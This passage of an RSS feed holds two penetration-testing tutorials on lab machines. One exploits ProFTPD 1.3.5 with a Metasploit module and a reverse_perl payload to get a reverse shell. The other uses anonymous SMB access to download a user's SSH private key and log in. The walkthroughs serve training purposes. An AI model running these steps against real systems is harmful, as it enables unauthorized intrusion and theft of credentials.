            <content:encoded><![CDATA[<p><strong>ProFTPD </strong>(<em>Professional File Transfer Protocol server Daemon</em>) is an open-source software, used for FTP servers on Unix and Unix-like systems and Windows (via Cygwin).</p><p><strong>But what is FTP and what’s it’s role? </strong>FTP is a standard TCP/IP communication protocol used for file transfers between client and server. It is based on the Application Layer (Layer 7) of the OSI Model and it uses port 20 and 21. The FTP port 20 is used for data transfer (transfer of data between client and server), meanwhile port 21 is used for control.</p><p>This article will explain the ProFTPD Exploitation with a step-by-step approach, from simple target scanning, to service exploitation.</p><p>The machine (target server) used in this scenario is a Metasploitable 3 (Ubuntu 14.04) machine, which is an intentionally vulnerable VM (virtual machine) used to simulate attacks.</p><h3><strong>Target Scanning</strong></h3><p>To scan our target we will be using Nmap (Network Mapper), so we can find the open ports and the services running on our target.</p><p>In this case, our target’s IP Address is: 10.0.2.4.</p><p>First we will scan our target, we will use the command below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*o45veHXmStsRz1dn903BIQ.png" /><figcaption>Nmap command</figcaption></figure><p>Here is a short description of the above command:</p><ul><li><em>nmap = the tool we are using.</em></li><li><em>-T4 = the timing.</em></li><li>-A = enable OS detection, version detection, script scanning etc..</li></ul><p>After the scanning has finished, we will have the results similar like in the photo below (this depends on the target):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*oAmGH3CwdQ-JoInhgyrgOg.png" /><figcaption>Nmap results</figcaption></figure><p>So, based on our results ProFTPD 1.3.5 is running on port 21 (FTP), and we also have an Apache httpd 2.4.7 running on port 80 (HTTP), with some listed content in it.</p><p><strong>Why is HTTP important in our scenario?</strong> Since the Apache service is active on the target server, there is a chance that we have writing permission in it’s SITEPATH. So, we exploit the ProFTPD service to abuse the permission on Apache SITEPATH, which will allow us to gain reverse shell.</p><h3><strong>Target Exploitation</strong></h3><p>Now that we collected the information needed, we continue with exploitation of our target. For that we will be using Metasploit.</p><p><strong>What is Metasploit?</strong> Metasploit is an open-source framework used to validate and exploit security vulnerabilities.</p><p>We can simply run Metasploit by using the command ‘<em>msfconsole</em>’ on our terminal.</p><p>After Metasploit has started we will need to search for the exploit that we need, in order to exploit the target. So, we will have to search for ProFTPD 1.3.5 (photo below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*CTVpqElVu9BEpgZNslOhsA.png" /><figcaption>Metasploit search results</figcaption></figure><p>Based on our Metasploit search results, we have found an exploit which can be used on our target machine. We can simply type ‘<em>use</em>’ and then type the ID number of the exploit, in this case ‘<em>use 0</em>’.</p><p>After hitting enter, we can type ‘show options’ to show the options of our exploit (photo below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*nYW50SrtetRiSSC2Ley8lw.png" /><figcaption>ProFTPD exploit options</figcaption></figure><p>What we need to do now, is that we need to define our target by using the command ‘<em>set RHOSTS [IP Address of the target]</em>’.</p><p>After defining the target, we need to set the sitepath of the target to a writable path. To set the sitepath we can use the command ‘<em>set SITEPATH /var/www/html/</em>’.</p><p>This was previously described on the scanning part, which specifically described the importance of the Apache service running on the target server. In most scenarios the Apache service path is ‘<em>/var/www/html/</em>’.</p><p>Now that we defined the target and it’s path on the exploit options, we have to set a payload which allows us to gain reverse shell. For this we can use the command ‘<em>show payloads</em>’ to show the list of the payloads.</p><p>I will be using the reverse perl payload, you can simply use the following command to use the same payload: ‘<em>set payload payload/cmd/unix/reverse_perl</em>’.</p><p>After setting up the payload, we need to set our LHOST and LPORT options for the reverse shell. You can use the following commands for that:</p><p>To set the LHOST = “<em>set LHOST [Your IP Address]</em>”</p><p>To set the LPORT = “<em>set LPORT [PORT]</em>”</p><p>You can get your IP Address for the LHOST by opening a new terminal and writing the command “ifconfig”. For the port, you can set any port that you want, or you can just leave the default 4444 port.</p><p>After finishing these procedures, we can go type “<em>show options</em>” again in our Metasploit console, just to make sure that we wrote the things correctly.</p><p>This is an example of “show options” on Metasploit, after configuring all the above:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*hiZesvXnCeWeGJ_k7M9RKw.png" /><figcaption>Configured exploit options — Metasploit</figcaption></figure><p>So, we defined the RHOSTS, SITEPATH and the PAYLOAD (LHOST, LPORT). Now all we need to do is type ‘<em>exploit</em>’ or ‘<em>run</em>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*3sugLp_jFz-iXiRUXiQ4OA.png" /><figcaption>Gained reverse shell</figcaption></figure><p>We have successfully managed to exploit our target and gain a reverse shell!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb4a0cd19867" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/proftpd-exploitation-bb4a0cd19867">ProFTPD Exploitation</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SMB-Enumeration and Exploitation]]></title>
            <link>https://systemweakness.com/smb-enumeration-and-exploitation-42d324ec4ade?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/42d324ec4ade</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Wed, 27 Apr 2022 23:01:14 GMT</pubDate>
            <atom:updated>2022-04-29T11:01:42.762Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>SMB (Server Message Block)</strong> is a communication protocol used for shared access on resources (printers, files, serial ports etc.). So basically, SMB provides client applications a method of reading, writing, creating &amp; deleting files on a remote server.</p><p><strong>But how does SMB really work?</strong> Well SMB protocol operates on application layer but it also uses other network levels for transportation. The client sends an SMB request to the server and the server replies with an SMB response to establish the connection. This is also known as the response-request protocol.</p><p><strong>Where can I run SMB? </strong>SMB can run on Windows operating systems, meanwhile Samba can be used to implement SMB on Unix-based systems.</p><h3><strong>SMB Enumeration</strong></h3><p>In this scenario I will be using a THM vulnerable machine to demonstrate the enumeration and exploitation of SMB.</p><p>To begin with, we will first need to run a port scan on our target to find as much information as we can, so maybe we can have a larger scope of our target. In this case we can use Nmap for port scanning, with the following command:</p><p><strong><em>nmap -T4 -A -v -p- [IP Address Here]</em></strong></p><p>A short description of the command above:</p><ul><li><em>nmap = the tool we are using.</em></li><li><em>-T4 = the timing, can be chosen from 1 to 5.</em></li><li>-A = enable OS detection, version detection, script scanning etc..</li><li>-v = verbosity level</li><li>-p- = scanning all the ports on the target</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*ixrQnXadUUlHMyFzeWTZlA.png" /><figcaption>Nmap scan</figcaption></figure><p>After the scanning is completed, we will get results like in the photo below (depending on the target):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*qz5WrcFTfMjSo3VCBYWSbA.png" /><figcaption>Nmap results (open ports)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*LxOAd08fwRU8jlovFn1ENQ.png" /><figcaption>Nmap results (SMB information)</figcaption></figure><p>As we can see on the Nmap results, SSH is running on port 22 and SMB is running on port 139 and 445. Meanwhile we also got the information related to the SMB, like: smb security information, machine name, OS and version.</p><p>Now we can use enum4linux or smbclient to enumerate the shares. In this case I prefer using enum4linux, but I will give a short example of the both.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*Oq_cAQtO0illcxNxRjOPmA.png" /><figcaption>Enum4linux shares enumeration</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*0ITgig49QY5d6hK2YtKjSA.png" /><figcaption>Smbclient shares enumeration</figcaption></figure><p>For enum4linux we can use the following command: <em>enum4linux [IP Address]</em>. And for smbclient we can use: <em>smbclient -L [IP Address] --no-pass</em>.</p><p>Based on the results we got, we found some shares like: netlogon, profiles, print$ and IPC$. But the “profiles” share looks more interesting to us, so we are going to try and gain access to it.</p><h3><strong>SMB Exploitation</strong></h3><p>When we are at the moment of exploiting the target, we can think of two options: using an exploit like <a href="https://www.cvedetails.com/cve/CVE-2017-7494/">CVE-2017–7494</a> and gaining access due to security misconfigurations on the target server.</p><p>In this case we are going to try gaining access due to security misconfigurations, based on the information that we’ve collected.</p><p>For that we can use the following command:</p><p><em>smbclient //IP Address/share -U Anonymous -p 139 --no-pass</em></p><p>So, with <em>smbclient</em> we are trying to connect to the target <em>IP</em>, to a specific <em>share</em>. By defining the username (<em>Anonymous</em>) with the <em>-U</em> and defining the port 139 with the <em>-p</em>, while trying to login anonymously with <em>--no-pass</em> since we don’t have a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*DQiYBA5eAQe2a1wpBDnTBA.png" /><figcaption>Connecting to the target using smbclient</figcaption></figure><p>After we reach this point, we can realize that the SMB isn’t well secured since we connected to it without a password, we can also see a file named “<em>Working From Home Information.txt</em>”. Now we will try to read that file and see if it contains something useful to us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*voIcd_wlDYubs90Tu2FwRA.png" /><figcaption>Information inside “Working From Home Information.txt”</figcaption></figure><p>So far we know that James who is a Department Manager told John Cactus that he now has ssh access to the main server.</p><p>At this point, we have to go back to our smbclient connection, search for .ssh directory and get <em>id_rsa </em>&amp; <em>id_rsa.pub</em> files. These files will manage to give us SSH access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*ZPC8IK9X3zZBN1B-c1c3rg.png" /><figcaption>Getting id_rsa &amp; id_rsa.pub</figcaption></figure><p>The files have been downloaded in our root directory, now we only need to change the id_rsa file permission to 600. We can do that using the following command: <em>chmod 600 id_rsa.</em></p><p>After doing that, we need to open the <em>id_rsa.pub</em> file and find the username that we are going to use for SSH connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*15bCBx6x8LRAehq74piFsw.png" /><figcaption>SSH username in id_rsa.pub</figcaption></figure><p>We have the username and the <em>id_rsa</em>, so now we are going to try and access the SSH. This can be done by using the following command:</p><p><em>ssh -i id_rsa username@IP Address</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DEy-edsktTVvsuNBNjINOg.png" /><figcaption>SSH connection</figcaption></figure><p>Finally we have managed to gain SSH access!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42d324ec4ade" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/smb-enumeration-and-exploitation-42d324ec4ade">SMB-Enumeration and Exploitation</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>